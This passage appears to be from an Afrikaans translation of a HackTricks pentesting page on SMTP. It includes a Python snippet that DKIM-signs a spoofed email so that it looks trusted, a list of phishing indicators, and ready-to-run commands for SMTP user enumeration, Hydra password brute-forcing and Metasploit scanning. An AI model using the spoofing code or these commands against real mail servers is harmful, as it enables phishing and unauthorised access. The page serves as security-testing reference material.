os.system(f"openssl genrsa -out {dkim_private_key_path} 1024 2> /dev/null")
with open(dkim_private_key_path) as fh:
dkim_private_key = fh.read()

# Generate email
msg = MIMEMultipart("alternative")
msg.attach(MIMEText(message_html, "html"))
msg["To"] = destination
msg["From"] = sender
msg["Subject"] = subject
headers = [b"To", b"From", b"Subject"]
msg_data = msg.as_bytes()

# Sign email with dkim
## The receiver won't be able to check it, but the email will appear as signed (and therefore, more trusted)
dkim_selector="s1"
sig = dkim.sign(message=msg_data,selector=str(dkim_selector).encode(),domain=sender_domain.encode(),privkey=dkim_private_key.encode(),include_headers=headers)
msg["DKIM-Signature"] = sig[len("DKIM-Signature: ") :].decode()
msg_data = msg.as_bytes()

# Use local postfix relay to send email
smtp="127.0.0.1"
s = smtplib.SMTP(smtp)
s.sendmail(sender, [destination], msg_data)

{% endtab %} {% endtabs %}

Meer inligting

Vind meer inligting oor hierdie beskermings in https://seanthegeek.net/459/demystifying-dmarc/

Ander hengelindikators

  • Ouderdom van die domein
  • Skakels wat na IP-adresse wys
  • Skakel manipulasie tegnieke
  • Verdagte (ongewone) aanhegsels
  • Gebreekte e-pos inhoud
  • Waardes wat verskil van die poskoppe
  • Bestaan van 'n geldige en vertroude SSL-sertifikaat
  • Indiening van die bladsy by webinhoudsfiltering-sites

Uitlekking deur SMTP

As jy data via SMTP kan stuur lees hierdie.

Konfigurasie lêer

Postfix

Gewoonlik bevat /etc/postfix/master.cf, as dit geïnstalleer is, skripte om uit te voer wanneer byvoorbeeld 'n nuwe e-pos deur 'n gebruiker ontvang word. Byvoorbeeld die lyn flags=Rq user=mark argv=/etc/postfix/filtering-f ${sender} -- ${recipient} beteken dat /etc/postfix/filtering uitgevoer sal word as 'n nuwe e-pos deur die gebruiker mark ontvang word.

Ander konfigurasie lêers:

sendmail.cf
submit.cf

Verwysings

HackTricks Outomatiese Opdragte

Protocol_Name: SMTP    #Protocol Abbreviation if there is one.
Port_Number:  25,465,587     #Comma separated if there is more than one.
Protocol_Description: Simple Mail Transfer Protocol          #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for SMTP
Note: |
SMTP (Simple Mail Transfer Protocol) is a TCP/IP protocol used in sending and receiving e-mail. However, since it is limited in its ability to queue messages at the receiving end, it is usually used with one of two other protocols, POP3 or IMAP, that let the user save messages in a server mailbox and download them periodically from the server.

https://book.hacktricks.xyz/pentesting/pentesting-smtp

Entry_2:
Name: Banner Grab
Description: Grab SMTP Banner
Command: nc -vn {IP} 25

Entry_3:
Name: SMTP Vuln Scan
Description: SMTP Vuln Scan With Nmap
Command: nmap --script=smtp-commands,smtp-enum-users,smtp-vuln-cve2010-4344,smtp-vuln-cve2011-1720,smtp-vuln-cve2011-1764 -p 25 {IP}

Entry_4:
Name: SMTP User Enum
Description: Enumerate uses with smtp-user-enum
Command: smtp-user-enum -M VRFY -U {Big_Userlist} -t {IP}

Entry_5:
Name: SMTPS Connect
Description: Attempt to connect to SMTPS two different ways
Command: openssl s_client -crlf -connect {IP}:465 &&&& openssl s_client -starttls smtp -crlf -connect {IP}:587

Entry_6:
Name: Find MX Servers
Description: Find MX servers of an organization
Command: dig +short mx {Domain_Name}

Entry_7:
Name: Hydra Brute Force
Description: Need Nothing
Command: hydra -P {Big_Passwordlist} {IP} smtp -V

Entry_8:
Name: consolesless mfs enumeration
Description: SMTP enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_version; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_ntlm_domain; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_relay; set RHOSTS {IP}; set RPORT 25; run; exit'

Onmiddellik beskikbare opset vir kwesbaarheidsassessering en penetrasietoetsing. Voer 'n volledige penetrasietoets uit van enige plek met 20+ gereedskap en funksies wat strek van verkenningswerk tot verslagdoening. Ons vervang nie penetrasietoetsers nie - ons ontwikkel aangepaste gereedskap, opsporings- en uitbuitingsmodules om hulle tyd te bespaar om dieper te graaf, skulpe te kraak en pret te hê.

{% embed url="https://pentest-tools.com/" %}

Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun: